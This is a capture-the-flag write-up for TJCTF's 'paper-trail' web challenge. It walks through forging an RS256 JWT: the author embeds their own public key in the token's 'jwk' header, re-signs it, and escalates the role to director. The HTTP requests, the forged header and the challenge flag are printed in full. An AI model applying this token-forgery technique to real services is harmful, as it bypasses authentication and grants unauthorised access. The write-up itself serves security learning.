Use the tree to jump between collections without leaving the reader.

archive Select writeup Open tree
tjctf/Writeup paper-trail.en.md READ_ONLY

paper-trail

Details

Field Value
CTF TJCTF
Challenge paper-trail
Category Web
Tags First Blood
Target https://paper-trail-417325820c409c46.tjc.tf
Flag tjctf{7h47_is_4_nic3_k3yc4rd_y0u_g07_7h3r3}

Summary

The app gives a visitor badge in an HttpOnly cookie called paper_badge. The /drawer route checks that badge and then checks the role claim. The issue was that the backend accepted a public RSA key inside the JWT header with jwk. So i modified the token, added a matching public key in the header, re-signed it, and changed the role to director.

Check-in form


1. Getting a visitor badge

First i checked in normally and captured the redirect in Burp. The important part is the Set-Cookie header, because the badge is a signed RS256 JWT.

POST /check-in HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

name=Analyst
HTTP/2 302 Found
Location: /
Server: Werkzeug/3.1.8 Python/3.12.13
Set-Cookie: paper_badge=<visitor JWT>; HttpOnly; Path=/; SameSite=Lax
Content-Length: 189

Burp decoded the badge like this.

{
  "alg": "RS256",
  "kid": "front-desk-2026",
  "typ": "JWT"
}
{
  "iss": "paper-trail-office",
  "aud": "paper-trail-visitors",
  "sub": "832b3672b7fa4ff9",
  "name": "Analyst",
  "role": "visitor",
  "iat": 1778951142,
  "nbf": 1778951142,
  "exp": 1778954742
}

Issued badge


2. Confirming the role check

Using the original visitor badge against /drawer gives a normal authorization fail. That told me the token was valid, but the role was not enough.

GET /drawer HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Cookie: paper_badge=<original visitor JWT>
HTTP/2 403 Forbidden
Content-Type: text/html; charset=utf-8
Server: Werkzeug/3.1.8 Python/3.12.13

<p class="denied">The clerk slides the badge back. The drawer stays shut.</p>

Visitor denied


3. Key discovery

The public JWKS endpoint shows the real front-desk key, but it was not directly useful for signing my own token because i only had the public part.

GET /.well-known/jwks.json HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
HTTP/2 200 OK
Content-Type: application/json
Server: Werkzeug/3.1.8 Python/3.12.13

{
  "keys": [{
    "alg": "RS256",
    "e": "AQAB",
    "kid": "front-desk-2026",
    "kty": "RSA",
    "n": "mkK8mAn8bkTTK5kd41essAtd2RPsaT8R4IWXUD...ViYW_DQ",
    "use": "sig"
  }]
}

JWKS response


4. Finding the actual bug

I first tried the obvious alg=none path, but the server rejected it, so signature verification was active.

GET /drawer HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Cookie: paper_badge=<alg none token>
HTTP/2 401 Unauthorized
Content-Type: text/html; charset=utf-8
Server: Werkzeug/3.1.8 Python/3.12.13

<p class="denied">The badge reader rejected that badge.</p>

Then i modified the token by putting a public RSA key in the header as jwk, and signed it with the matching private key. With role staff, the response changed back to 403. That was the useful part, because the signature was accepted but the role still was not enough.

GET /drawer HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Cookie: paper_badge=<RS256 token signed with my key, header contains jwk, role=staff>
HTTP/2 403 Forbidden
Content-Type: text/html; charset=utf-8
Server: Werkzeug/3.1.8 Python/3.12.13

<p class="denied">The clerk slides the badge back. The drawer stays shut.</p>

The modified token header looked like this.

{
  "alg": "RS256",
  "jwk": {
    "alg": "RS256",
    "e": "AQAB",
    "kid": "front-desk-2026",
    "kty": "RSA",
    "n": "<my RSA modulus>",
    "use": "sig"
  },
  "kid": "front-desk-2026",
  "typ": "JWT"
}

5. Exploit

For the final token, i kept the same embedded jwk, changed the payload role to director, and re-signed the modified badge.

{
  "iss": "paper-trail-office",
  "aud": "paper-trail-visitors",
  "sub": "832b3672b7fa4ff9",
  "name": "Analyst",
  "role": "director",
  "iat": 1778951154,
  "nbf": 1778951154,
  "exp": 1778954754
}
GET /drawer HTTP/2
Host: paper-trail-417325820c409c46.tjc.tf
Cookie: paper_badge=<RS256 token signed with my key, header contains jwk, role=director>
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Server: Werkzeug/3.1.8 Python/3.12.13

<p class="label">receipt</p>
<code class="flag">tjctf{7h47_is_4_nic3_k3yc4rd_y0u_g07_7h3r3}</code>

Flag in drawer


Made with a modified version of report-forge